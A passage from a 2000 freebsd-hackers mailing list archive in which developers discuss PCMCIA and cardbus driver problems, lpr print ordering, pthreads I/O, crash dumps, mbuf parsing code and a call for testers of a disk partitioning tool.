Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200004281032.UAA01136@cairo.anu.edu.au> Darren Reed writes: : Does FreeBSD-4.0 support IRQ sharing ? Or rather, does pccardd support : configuring devices in such a manner ? No. I've never had good luck getting it to work at all. : pcic0: at port 0x3e0 iomem 0xd0000 irq 10 on isa0 : pcic0: management irq 11 That's the problem. I think I've committed a fix that pays more attention to the environment variables that set this. When you try to use the same IRQ (in this case 10) between the bridge manager and the actual cards, bad things can happen. : I've also got a 3Com 3CCM156B (modem) which pccardd shows as ""("") Is this a cardbus card? : when I insert it, never mind that it fails to notice any pcmcia : events after popping it out and then puttint it back in. : : It would also appear that pccardd fails to notice the 3c589D at boot : time if the 3CCM156B is inserted. Odd. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 13: 4:35 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 3EF6537C0EA for ; Mon, 1 May 2000 13:04:30 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA12086; Mon, 1 May 2000 14:04:13 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA18555; Mon, 1 May 2000 14:04:01 -0600 (MDT) Message-Id: <200005012004.OAA18555@harmony.village.org> To: FreeBSD MAIL Subject: Re: Xircom cards Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Sat, 29 Apr 2000 09:53:07 -1000." <200004291953.JAA08064@mauibuilt.com> References: <200004291953.JAA08064@mauibuilt.com> Date: Mon, 01 May 2000 14:04:01 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200004291953.JAA08064@mauibuilt.com> FreeBSD MAIL writes: : Also with -current my second PCMCIA controller dosn't work so I have it : disabled in the kernel config. Yes. I think that I've broken this as part of the move to newbus. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 13:13:24 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 9240937C1B6 for ; Mon, 1 May 2000 13:11:51 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA12113 for ; Mon, 1 May 2000 14:11:26 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA18596; Mon, 1 May 2000 14:09:59 -0600 (MDT) Message-Id: <200005012009.OAA18596@harmony.village.org> To: "Lorenzo Iania" Subject: Re: lpr: order of print requests Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Fri, 28 Apr 2000 16:40:14 +0200." <017c01bfb11f$ab144c80$0500000a@sintesi.net> References: <017c01bfb11f$ab144c80$0500000a@sintesi.net> Date: Mon, 01 May 2000 14:09:59 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG LPR queues up the reuqests and prints them in order smallest to largest to reduce the average wait time for a job at the expense of having a larger standard deviation in the wait times for jobs. Maybe this is what you are running into. I don't know if there's a way to disable this behavior or not. At least that's what I recall lpd doing years ago when I ran a unix lab in school. I didn't go check the code to see if it still did that or not. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 13:17:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id BF20037C264 for ; Mon, 1 May 2000 13:17:18 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA12128; Mon, 1 May 2000 14:17:16 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA18640; Mon, 1 May 2000 14:17:03 -0600 (MDT) Message-Id: <200005012017.OAA18640@harmony.village.org> To: boshea@ricochet.net Subject: Re: Multithreaded server performance Cc: Jason Evans , A G F Keahan , freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Mon, 24 Apr 2000 01:03:15 PDT." <20000424010315.U337@beastie.localdomain> References: <20000424010315.U337@beastie.localdomain> <3903AEA6.FA7CBBAB@freenet.co.uk> <20000423212115.E31925@sturm.canonware.com> Date: Mon, 01 May 2000 14:17:03 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000424010315.U337@beastie.localdomain> "Brian O'Shea" writes: : I was under the impression that, because user thread scheduling is done : in user mode, a thread that goes to sleep calling a blocking read() : system call will put the entire process to sleep until that read() : returns (and so all user threads in the process will also be blocked). : Is this correct? No. the pthreads wrappers only make you think that you are calling read, when in fact it multiplexes things behind the scenes for you. If one thread is reading, then another thread can be running. All this assumes that drivers implement select/poll correctly and nonblocking I/O is supported as well. Really a slick setup for when you need to do lots of threading, a big pain when you don't due to locking issues that come up when you trie to dice things into too many threads. But I digress. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 13:33:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from ntlworld.com (m491-mp1-cvx2c.bre.ntl.com [62.253.89.235]) by hub.freebsd.org (Postfix) with ESMTP id F385137C938 for ; Mon, 1 May 2000 13:21:10 -0700 (PDT) (envelope-from s.mitchell@computer.org) Received: (from scott@localhost) by ntlworld.com (8.8.8/8.8.8) id VAA02149 for freebsd-hackers@freebsd.org; Mon, 1 May 2000 21:21:09 +0100 (BST) (envelope-from scott) Message-ID: <20000501153911.18399@ntlworld.com> Date: Mon, 1 May 2000 15:39:11 +0100 From: Scott Mitchell To: freebsd-hackers@freebsd.org Subject: Re: Xircom Card Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i X-Operating-System: FreeBSD 2.2.6-RELEASE i386 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sorry if this appears multiple times; it didn't show up on -hackers after 24 hours, so I'm sending again... ----- Forwarded message from Scott Mitchell ----- On Sun, Apr 30, 2000 at 03:44:46AM -1000, FreeBSD MAIL wrote: > I just cvsuped and built a kernel as of Sun Apr 30 03:20:08 HST 2000. > Despite the probing which goes on when I insert the card and somtimes > shortly after I ifconfig it, the Xircom 16bit card seems to work fine. Despite all those "couldn't allocate..." messages in your previous post? That's weird, but I'm glad to see it working. You'll probably get more feedback on this from -mobile or freebsd-xircom (http://www.lovett.com/lists/freebsd-xircom/ for details of that list). Myself and the rest of the Xircom developers definitely read those, I'm not sure that we're all on -hackers though. > I also have a Card Buss Xircom card which I could also test with. Don't bother -- it's based on very different hardware to the 16-bit models, with no driver support as yet. Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" s.mitchell@computer.org | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 13:33:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 22EF637C33F for ; Mon, 1 May 2000 13:21:42 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id OAA12144; Mon, 1 May 2000 14:21:40 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id OAA18681; Mon, 1 May 2000 14:21:29 -0600 (MDT) Message-Id: <200005012021.OAA18681@harmony.village.org> To: FreeBSD MAIL Subject: Re: xe driver Cc: freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Wed, 26 Apr 2000 11:41:25 -1000." <200004262141.LAA27954@mauibuilt.com> References: <200004262141.LAA27954@mauibuilt.com> Date: Mon, 01 May 2000 14:21:28 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200004262141.LAA27954@mauibuilt.com> FreeBSD MAIL writes: : FYI I tried the xe driver in 4.0-Stable and could not get it to work. : That's because I've not backported the code there yet :-) Now that I have reports of xe basically working on 5.0 (for non-copmbo cards anyway), I'll go ahead and back port the mods to 4.x. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 13:33:58 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from circe.tops.net (circe.tops.net [194.162.222.100]) by hub.freebsd.org (Postfix) with ESMTP id 36CC637C32E for ; Mon, 1 May 2000 13:26:20 -0700 (PDT) (envelope-from lederer@bonn-online.com) Received: from bonn-online.com (ppp135.dialin.bonn-online.com [194.162.223.135]) by circe.tops.net (8.9.3/8.9.3) with ESMTP id WAA03192 for ; Mon, 1 May 2000 22:22:36 +0200 Message-ID: <390DE785.23628D99@bonn-online.com> Date: Mon, 01 May 2000 22:22:29 +0200 From: Sebastian Lederer Reply-To: sleder2s@ux-2s02.inf.fh-rhein-sieg.de X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 4.0-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: [Testers wanted] X11-based disk partitioning tool Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I've written an X11-based hard disk partitioning tool, called DriveSetup, and am looking for fearless testers. It uses libdisk(3) for slice/partition table mangling, so it is unlikely to wipe out your disk due to a bug, but of course, I cannot be sure without more testing. So please try it out, if you have a spare disk or box. But beware, it's still possible that your disk gets trashed, so please don't use it on disks with important data! Features: - create/delete slices - create/delete partitions - mount/unmount partitions - run newfs on new partitions - add swap partitions Developed and tested on 4.0-RELEASE. It probably won't work on 3.x. You can download the source at http://pc-2n00.6lab.inf.fh-rhein-sieg.de/~sleder2s/DriveSetup.tar.gz There's also a screenshot at http://pc-2n00.6lab.inf.fh-rhein-sieg.de/~sleder2s/DriveSetup.png Thanks in advance for your feedback! - Sebastian Lederer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 17: 6: 1 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 04C9137B8BE for ; Mon, 1 May 2000 17:05:52 -0700 (PDT) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id KAA11880; Tue, 2 May 2000 10:05:41 +1000 (EST) From: Darren Reed Message-Id: <200005020005.KAA11880@cairo.anu.edu.au> Subject: Re: FreeBSD-4.0 PCMCIA broken ? To: imp@village.org (Warner Losh) Date: Tue, 2 May 2000 10:05:41 +1000 (Australia/NSW) Cc: hackers@FreeBSD.ORG In-Reply-To: <200005012002.OAA18531@harmony.village.org> from "Warner Losh" at May 01, 2000 02:02:44 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In some mail from Warner Losh, sie said: > > In message <200004281032.UAA01136@cairo.anu.edu.au> Darren Reed writes: > : Does FreeBSD-4.0 support IRQ sharing ? Or rather, does pccardd support > : configuring devices in such a manner ? > > No. I've never had good luck getting it to work at all. > > : pcic0: at port 0x3e0 iomem 0xd0000 irq 10 on isa0 > : pcic0: management irq 11 > > That's the problem. I think I've committed a fix that pays more > attention to the environment variables that set this. When you try to > use the same IRQ (in this case 10) between the bridge manager and the > actual cards, bad things can happen. Which file(s) do I need to update here ? > : I've also got a 3Com 3CCM156B (modem) which pccardd shows as ""("") > > Is this a cardbus card? Yes. > : when I insert it, never mind that it fails to notice any pcmcia > : events after popping it out and then puttint it back in. > : > : It would also appear that pccardd fails to notice the 3c589D at boot > : time if the 3CCM156B is inserted. > > Odd. > > > Warner > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 17:23:56 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id A66C037B55E for ; Mon, 1 May 2000 17:23:52 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id SAA13041; Mon, 1 May 2000 18:23:50 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id SAA20275; Mon, 1 May 2000 18:23:37 -0600 (MDT) Message-Id: <200005020023.SAA20275@harmony.village.org> To: Darren Reed Subject: Re: FreeBSD-4.0 PCMCIA broken ? Cc: hackers@FreeBSD.ORG In-reply-to: Your message of "Tue, 02 May 2000 10:05:41 +1000." <200005020005.KAA11880@cairo.anu.edu.au> References: <200005020005.KAA11880@cairo.anu.edu.au> Date: Mon, 01 May 2000 18:23:37 -0600 From: Warner Losh Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005020005.KAA11880@cairo.anu.edu.au> Darren Reed writes: : In some mail from Warner Losh, sie said: : > : > In message <200004281032.UAA01136@cairo.anu.edu.au> Darren Reed writes: : > : Does FreeBSD-4.0 support IRQ sharing ? Or rather, does pccardd support : > : configuring devices in such a manner ? : > : > No. I've never had good luck getting it to work at all. : > : > : pcic0: at port 0x3e0 iomem 0xd0000 irq 10 on isa0 : > : pcic0: management irq 11 : > : > That's the problem. I think I've committed a fix that pays more : > attention to the environment variables that set this. When you try to : > use the same IRQ (in this case 10) between the bridge manager and the : > actual cards, bad things can happen. : : Which file(s) do I need to update here ? You set the irq for the management IRQ in the kernel config file. You should set it to 11. It defaults to 10. You'll also want to delete the machdep.pccard.pcic_irq line from your /boot/loader.conf for now. Also, you may want to try this in polling mode, in which case you'll want to remove the irq XX clause from the config file. That will free up one more IRQ if you need it. : > : I've also got a 3Com 3CCM156B (modem) which pccardd shows as ""("") : > : > Is this a cardbus card? : : Yes. cardbus is completely broken in 4.0. There's no support for it at all, and the dev/cardbus files doesn't even compile, they are too green. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 21:32:41 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id DDE6437B999 for ; Mon, 1 May 2000 21:32:34 -0700 (PDT) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id OAA25019; Tue, 2 May 2000 14:32:24 +1000 (EST) From: Darren Reed Message-Id: <200005020432.OAA25019@cairo.anu.edu.au> Subject: Re: FreeBSD-4.0 PCMCIA broken ? To: imp@village.org (Warner Losh) Date: Tue, 2 May 2000 14:32:24 +1000 (Australia/NSW) Cc: hackers@FreeBSD.ORG In-Reply-To: <200005020023.SAA20275@harmony.village.org> from "Warner Losh" at May 01, 2000 06:23:37 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In some mail from Warner Losh, sie said: > > In message <200005020005.KAA11880@cairo.anu.edu.au> Darren Reed writes: > : In some mail from Warner Losh, sie said: > : > > : > In message <200004281032.UAA01136@cairo.anu.edu.au> Darren Reed writes: > : > : Does FreeBSD-4.0 support IRQ sharing ? Or rather, does pccardd support > : > : configuring devices in such a manner ? > : > > : > No. I've never had good luck getting it to work at all. > : > > : > : pcic0: at port 0x3e0 iomem 0xd0000 irq 10 on isa0 > : > : pcic0: management irq 11 > : > > : > That's the problem. I think I've committed a fix that pays more > : > attention to the environment variables that set this. When you try to > : > use the same IRQ (in this case 10) between the bridge manager and the > : > actual cards, bad things can happen. > : > : Which file(s) do I need to update here ? > > You set the irq for the management IRQ in the kernel config file. You > should set it to 11. It defaults to 10. You'll also want to delete > the machdep.pccard.pcic_irq line from your /boot/loader.conf for now. > Also, you may want to try this in polling mode, in which case you'll > want to remove the irq XX clause from the config file. That will free > up one more IRQ if you need it. The "machdep.." line wasn't there, but was commented out in /boot/defaults/loader.conf (so I left that was it was). Hmmm, I changed the "pcic" irq to 11, but still get: pcic-pci0: ... irq 10 ... pcic-pci1: ... irq 10 ... pcic0: management irq 11 No go. I also commented out the USB device lines (uhci0 was also at irq 10) in the kernel config file and what do I get ? pccardd[45]: No card in database for "3COM"("3CCM156 B") ep0: <3Com Etherlink III 3C589> at port 0x240-0x24f irq 10 slot 1 on pccard1 ep0: Ethernet address 00:10:4b:ed:e6:eb ep0: supplying EUI64 00:10:4b:ff:fe:ed:e6:eb ctrl-alt-esc shows more lines than fit on the screen, but the path is: (off the screen bits) pccard_beep_select BUS_SETUP_INTR bus_generic_setup_intr BUS_SETUP_INTR bus_setup_intr ep_isa_match_id DEVICE_ATTACH device_probe_and_attach pccard_alloc_slot pccard_event spec_vnoperate ... If that is freezing because there is no speaker device (I copied my config from GENERIC which has no sound driver configured), then config should not allow this sort of configuration bogon. I'm trying to configure some sound devices with varying levels of success. Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon May 1 21:34:31 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from aphex.peterson.org (aphex.peterson.org [209.228.7.160]) by hub.freebsd.org (Postfix) with ESMTP id 1722F37BA46; Mon, 1 May 2000 21:34:24 -0700 (PDT) (envelope-from matt@peterson.org) Received: from aphex.peterson.org (aphex.peterson.org [209.228.7.160]) by aphex.peterson.org (8.9.3/8.9.3) with ESMTP id VAA67439; Mon, 1 May 2000 21:34:22 -0700 (PDT) Date: Mon, 1 May 2000 21:34:22 -0700 (PDT) From: Matt Peterson To: freebsd-mobile@freebsd.org Cc: freebsd-hackers@freebsd.org Subject: 3Com's all-in-one XJack modem/NIC Message-ID: X-URL: http://matt.peterson.org/ X-UIN: 1998182 X-AIM: lardcm MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm wondering if anyone has had luck with 3Com's new PC Card , it's feature the famous XJack connector along with 'autosencing technology' to determine it the cable is ethernet or modem, hmm. Also it apprantly flashes or some for status. I didn't see it menitoned on PAO (speaking of which, when can we expect 4.0-RELEASE PAO floppies?). Thx. -- Matt Peterson another.geek.without.a.life matt@peterson.org http://matt.peterson.org/ ------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 2: 2:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from web1902.mail.yahoo.com (web1902.mail.yahoo.com [128.11.23.51]) by hub.freebsd.org (Postfix) with SMTP id 35FB237B858 for ; Tue, 2 May 2000 02:02:15 -0700 (PDT) (envelope-from p_k_nandan@yahoo.com) Received: (qmail 28464 invoked by uid 60001); 2 May 2000 08:58:23 -0000 Message-ID: <20000502085823.28463.qmail@web1902.mail.yahoo.com> Received: from [203.197.180.140] by web1902.mail.yahoo.com; Tue, 02 May 2000 01:58:23 PDT Date: Tue, 2 May 2000 01:58:23 -0700 (PDT) From: "NandaKumar P.K." Subject: crash dump on swap device To: freebsd-hackers@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I wanted to analyse a driver crash dump in FreeBSD 3.4. I specified the dumpdevice in rc.conf, but i am not finding anything under the /var/crash directory. I made the kernel crash in my test PCI driver using an invalid access. (writing to 0xFFFFFFFF). The reason may be that the kernel crashes even before reading the rc.conf file. Now i want to specify the dump device in the kernel configuration file and make a new kernel so that the kernel writes the data to the dump device. But the handbook hasn't given the format to specify in the kernel config. file. man config also doesn't help. So any one can help ? Regards, Nandan __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 5:11:45 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mailserv.waikato.ac.nz (mailserv.waikato.ac.nz [130.217.66.61]) by hub.freebsd.org (Postfix) with ESMTP id F3A9437B6EE for ; Tue, 2 May 2000 05:11:36 -0700 (PDT) (envelope-from mjl12@waikato.ac.nz) Received: from stu_ex3.waikato.ac.nz (stu-ex3.waikato.ac.nz [130.217.70.30]) by mailserv.waikato.ac.nz (8.9.3/8.9.0) with ESMTP id AAA64474 for ; Wed, 3 May 2000 00:12:46 +1200 Received: by stu-ex3.waikato.ac.nz with Internet Mail Service (5.5.2650.21) id ; Wed, 3 May 2000 00:11:22 +1200 Message-ID: <45E87454FFC2D211AD9800508B6500942392F8@stu-ex1.waikato.ac.nz> From: "MATTHEW JOHN,LUCKIE" To: "'freebsd-hackers@freebsd.org '" Subject: mbufs & ip stack Date: Wed, 3 May 2000 00:11:07 +1200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi I am writing some custom code into the freebsd ip stack (as a project) I am trying to get the payload of an ip packet out of an mbuf and cast it to the type of data being carried (an ipmp header). When i try to get the ipmp_hdr out of the mbuf, and try to do some work with it, i seem to be referencing the ip_hdr with the ipmp_hdr pointer (based on the values i extract from it) What am i doing wrong? I have based my code on the Freebsd 3.2 icmp code and am running under freebsd 3.2 Also, why is the ICMP_ADVLENMIN defined as (8 + sizeof(struct ip) + 8) in ip_icmp.h ?? Below is the source for what i am doing Hopefully someone can help Matthew #define IPMP_ADVLENMIN (8 + sizeof(struct ip) + 8) void ipmp_input(struct mbuf *m, int off) { struct ip *ip_hdr; int ipmplen; int hlen; int i; struct ipmp_header *ipmp_hdr; ip_hdr = mtod(m, struct ip *); ipmplen = ip_hdr->ip_len; hlen = off; /* check that the length of the data in the packet is the minimum reqd */ if(ipmplen < IPMP_MINLEN) { ipmpstat.tooshort++; goto freeit; } /* pull up the header of the ipmp packet */ i = hlen + min(ipmplen, IPMP_ADVLENMIN); if(m->m_len < i && (m = m_pullup(m,i)) == 0) { /* if the call fails to m_pullup, the buffer is freed automatically */ ipmpstat.tooshort++; return; } /* get the ip header again as the mbuf locn has probably changed */ ip_hdr = mtod(m, struct ip *); /* get the ipmp header */ m->m_len -= hlen; m->m_data += hlen; ipmp_hdr = mtod(m, struct ipmp_header *); m->m_len += hlen; m->m_data -= hlen; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 6:43:26 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from numeri.campus.luth.se (numeri.campus.luth.se [130.240.197.103]) by hub.freebsd.org (Postfix) with ESMTP id F0DB637BB12 for ; Tue, 2 May 2000 06:43:14 -0700 (PDT) (envelope-from k@numeri.campus.luth.se) Received: from numeri.campus.luth.se (localhost [127.0.0.1]) by numeri.campus.luth.se (8.9.3/8.9.3) with ESMTP id PAA33817; Tue, 2 May 2000 15:45:04 +0200 (CEST) (envelope-from k@numeri.campus.luth.se) Message-Id: <200005021345.PAA33817@numeri.campus.luth.se> X-Mailer: exmh version 2.1.1 10/15/1999 To: sheldonh@uunet.co.za Cc: hackers@FreeBSD.org Subject: testers for PR 17698 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 02 May 2000 15:45:04 +0200 From: Johan Karlsson Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Sheldon, Did you get any alpha/pc98 testers for the patch in PR 17698 see http://www.FreeBSD.org/cgi/getmsg.cgi?fetch=515536+522235+/usr/local/www/db /text/2000/freebsd-hackers/20000402.freebsd-hacker Even if you didn't maybe you can commit it and MFC to 4-Stable. Thanks Johan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 6:55:14 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id E31FA37B80E for ; Tue, 2 May 2000 06:55:06 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 12md8f-0007Gn-00 for hackers@FreeBSD.org; Tue, 02 May 2000 15:55:01 +0200 From: Sheldon Hearn To: hackers@FreeBSD.org Subject: Where to send PC98 review requests Date: Tue, 02 May 2000 15:55:01 +0200 Message-ID: <27948.957275701@axl.ops.uunet.co.za> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi folks, I have patches that I'd like to run by PC98 people for testing. What mailing list should I send them to? Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 6:56:48 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by hub.freebsd.org (Postfix) with ESMTP id 212E137B8D4 for ; Tue, 2 May 2000 06:56:40 -0700 (PDT) (envelope-from sheldonh@axl.ops.uunet.co.za) Received: from sheldonh (helo=axl.ops.uunet.co.za) by axl.ops.uunet.co.za with local-esmtp (Exim 3.13 #1) id 12mdA0-0007HP-00; Tue, 02 May 2000 15:56:24 +0200 From: Sheldon Hearn To: Johan Karlsson Cc: hackers@FreeBSD.org Subject: Re: testers for PR 17698 In-reply-to: Your message of "Tue, 02 May 2000 15:45:04 +0200." <200005021345.PAA33817@numeri.campus.luth.se> Date: Tue, 02 May 2000 15:56:24 +0200 Message-ID: <27986.957275784@axl.ops.uunet.co.za> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 02 May 2000 15:45:04 +0200, Johan Karlsson wrote: > Did you get any alpha/pc98 testers for the patch in PR 17698 Not yet, but since I know that lots of people have been away the last two weeks, I'd like to wait another week before I go ahead without review. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue May 2 8: 1:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from elisa.utopianet.net (elisa.utopianet.net [212.210.231.2]) by hub.freebsd.org (Postfix) with ESMTP id 4860137BB0D for ; Tue, 2 May 2000 08:01:27 -0700 (PDT) (envelope-from l.iania@sintesi.net) Received: from lorenzo (giorgia.sintesi.net [212.210.231.9]) by elisa.utopianet.net (8.9.1a/8.9.1) with SMTP id QAA16991 for ; Tue, 2 May 2000 16:49:52 +0200 (CEST) Message-ID: <027b01bfb446$0262c100$0500000a@sintesi.intr> Reply-To: "Lorenzo Iania" From: "Lorenzo Iania" To: References: <017c01bfb11f$ab144c80$0500000a@sintesi.net> <200005012009.OAA18596@harmony.village.org> Subject: Re: lpr: order of print requests Date: Tue, 2 May 2000 16:52:16 +0200 Organization: S.IN.TE.S.I. Srl MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warren Losh wrote: > LPR queues up the reuqests and prints them in order smallest to > largest to reduce the average wait time for a job at the expense of > having a larger standard deviation in the wait times for jobs. Maybe > this is what you are running into. I don't know if there's a way to > disable this behavior or not. At least that's what I recall lpd doing > years ago when I ran a unix lab in school. I didn't go check the code > to see if it still did that or not. > > Warner > I think you're right, because the process that generates the requests is only one. It consecutively opens pipes to lpr and then closes them. In effect it builds invoices from delivery documents and the printed numbers of invoices is effectively out of order, 